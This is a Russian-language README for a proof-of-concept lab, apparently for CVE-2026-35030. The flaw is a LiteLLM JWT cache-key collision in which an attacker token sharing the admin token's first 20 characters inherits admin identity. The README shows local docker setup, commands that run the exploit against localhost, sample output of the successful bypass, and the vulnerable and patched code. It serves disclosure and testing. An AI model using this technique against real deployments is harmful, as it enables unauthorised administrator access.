# Уязвимый код (до версии 1.83.0)
cache_key = token[:20]   # Только первые 20 символов!

<header>.<payload>.<signature>

1. Администратор аутентифицируется → LiteLLM получает userinfo → кэширование с ключом = token[:20]
                                                                         ↑
2. Атакующий создаёт JWT с тем же алгоритмом (RS256) ────────────────────┘
   → token[:20] ИДЕНТИЧЕН → попадание в кэш → наследование идентичности администратора

# 1. Соберите и запустите уязвимый LiteLLM + фиктивный OIDC-провайдер
docker compose up -d --build

# 2. Установите зависимости Python
pip install -r requirements.txt

# 3. Создайте тестовых пользователей (необходимо для JWT-аутентификации — требуется мастер-ключ)
curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "admin", "role": "proxy_admin"}'
curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "attacker", "role": "proxy_admin"}'

# 4. Демонстрация коллизии ключа кэша
python3 exploit/exploit.py --mode demo

# 5. Запуск полного эксплойта (обход аутентификации через коллизию кэша)
python3 exploit/exploit.py --mode exploit --target http://localhost:4000

# 6. (Опционально) Проверка исправления в v1.83.0+
docker compose --profile fixed up -d --build litellm-fixed
python3 exploit/exploit.py --mode exploit --target http://localhost:4001 --fixed

[+] JWT администратора (subject=admin):
    Токен:     eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
    Префикс:   'eyJhbGciOiJSUzI1NiIs'

[+] JWT атакующего (subject=attacker):
    Токен:     eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
    Префикс:   'eyJhbGciOiJSUzI1NiIs'

[🔥] КОЛЛИЗИЯ: Оба токена имеют одинаковые первые 20 символов!
    Причина: Оба токена используют RS256 → одинаковый base64 заголовка JWT → одинаковые первые 20 символов
    → cache_key = token[:20] = 'eyJhbGciOiJSUzI1NiIs'

[УЯЗВИМЫЙ] Попытка эксплойта — цель: http://localhost:4000

[*] Шаг 1: Получение JWT от OIDC-провайдера...
    Коллизия префикса: True

[*] Шаг 2: Отправка JWT администратора в LiteLLM (заполнение кэша OIDC)...
    HTTP 200
    Ответ: {"user_id": "admin", ...}

[*] Шаг 3: Отправка JWT атакующего (попытка коллизии кэша)...
    HTTP 200
    Ответ: {"user_id": "admin", ...}   ← НАСЛЕДОВАН АДМИНИСТРАТОР!

[🔥] ЭКСПЛОЙТ УСПЕШЕН! Атакующий унаследовал идентичность администратора!
        token[:20] атакующего совпал с ключом кэша администратора.
        Ответ user_id='admin' (ожидалось 'admin' для повышения привилегий)

[ИСПРАВЛЕНО] Попытка эксплойта — цель: http://localhost:4001

[*] Шаг 1: Получение JWT от OIDC-провайдера...
    Коллизия префикса: True

[*] Шаг 2: Отправка JWT администратора в LiteLLM (заполнение кэша OIDC)...
    HTTP 200
    Ответ: {"user_id": "admin", ...}

[*] Шаг 3: Отправка JWT атакующего (попытка коллизии кэша)...
    HTTP 200
    Ответ: {"user_id": "attacker", ...}   ← СОХРАНЕНА собственная идентичность

    [+] Атакующий идентифицирован как user_id='attacker'.
        Исправленная версия: коллизия кэша предотвращена.

# Уязвимый код (до версии 1.83.0) — litellm/proxy/auth/handle_jwt.py
cache_key = f"oidc_userinfo_{token[:20]}"   # Только первые 20 символов!
cached_userinfo = await user_api_key_cache.async_get_cache(cache_key)
if cached_userinfo is not None:
    return cached_userinfo  # Попадание в кэш → пропуск получения userinfo!

# Исправленный код (v1.83.0+) — тот же файл, строка 625
import hashlib
cache_key = f"oidc_userinfo_{hashlib.sha256(token.encode()).hexdigest()}"

CVE-2026-35030/
├── README.md                    # Этот файл
├── docker-compose.yml           # Уязвимый + исправленный LiteLLM + фиктивный OIDC
├── litellm_config.yaml          # Конфигурация LiteLLM с включённой JWT-аутентификацией
├── requirements.txt             # Зависимости Python (PoC)
├── litellm-vuln/
│   └── Dockerfile               # Уязвимый LiteLLM v1.82.5 с патчем корпоративной версии
├── litellm-fixed/
│   └── Dockerfile               # Исправленный LiteLLM v1.83.0+ с ключём кэша sha256
├── oidc-provider/
│   ├── Dockerfile               # Образ фиктивного OIDC-провайдера
│   ├── requirements.txt
│   └── server.py                # Фиктивный OIDC (FastAPI)
├── exploit/
│   ├── exploit.py               # Основной скрипт эксплойта PoC
│   └── token_forge.py           # Утилиты для коллизии JWT
├── docs/
│   └── advisory.md              # Справочная информация об уязвимости
└── screenshots/
    └── README.md                # Заполнитель для скриншотов доказательств